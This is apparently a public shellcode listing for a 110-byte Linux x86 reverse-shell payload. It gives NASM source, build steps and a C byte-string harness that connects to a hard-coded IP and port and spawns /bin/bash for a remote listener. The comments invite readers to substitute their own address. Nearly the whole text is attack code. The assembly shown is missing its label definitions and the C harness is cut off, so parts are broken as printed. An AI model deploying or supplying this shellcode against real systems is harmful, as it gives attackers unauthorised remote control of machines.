Linux/x86 Reverse Shell Shellcode

110 bytes small Linux/x86 reverse /bin/bash shellcode.

MD5 | 0e7869fb8d1ece6d37ef0b67c4938da1

; File name: reversebash.nasm
; Author: Jasmin Landry (@JR0ch17)
; Purpose: Shellcode that creates a reverse /bin/bash shell on port 54321 to IP address
; To change
; Shellcode length: 110 bytes
; Tested on Ubuntu 12.04.5 32-bit (x86)
; Assemble reversebash.nasm file: nasm -f elf32 -o reversebash.o reversebash.nasm -g
; Link: ld -z execstack -o reversebash reversebash.o
; Use objdump to find shellcode and copy it over to the code section of the .c file
; Compile: gcc -m32 -fno-stack-protector -z execstack reversebash.c -o reversebash2

global _start

section .text
jmp short call_shellcode

xor eax, eax
xor ebx, ebx
xor ecx, ecx

pop edx

push 0x6
push 0x1
push 0x2

mov al, 0x66
mov bl, 0x1
mov ecx, esp
int 0x80

mov esi, eax

xor eax, eax
push eax
push dword [edx+2]
push word [edx]
push word 0x2
mov ecx, esp
push 0x10
push ecx
push esi
mov al, 0x66
mov bl, 0x3
mov ecx, esp
int 0x80

xor ecx, ecx
mov cl, 0x3

dec cl
mov al, 0x3f
mov ebx, esi
int 0x80

mov esi, eax
jnz loop

xor eax, eax
xor ecx, ecx
push ecx
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp
push ecx
push ebx
mov al, 0xb
mov ecx, esp
xor edx, edx
int 0x80

call shellcode
port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 ;First 2 bytes are port and last 4 are IP. Please change these bytes to reflect your environment and recompile.



unsigned char code[] = \
"\xeb\x61\x31\xc0\x31\xdb\x31\xc9\x5a\x6a\x06\x6a\x01\x6a\x02\xb0\x66\xb3\x01\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x50\xff\x72\x02\x66\xff\x32\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\x89\xf3\xcd\x80\x89\xc6\x75\xf4\x31\xc0\x31\xc9\x51\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x51\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80\xe8\x9a\xff\xff\xff\xd4\x31\xc0\xa8\x03\x77"; //Again, the last 4 bytes are the IP and the 2 before those are the port.


printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;



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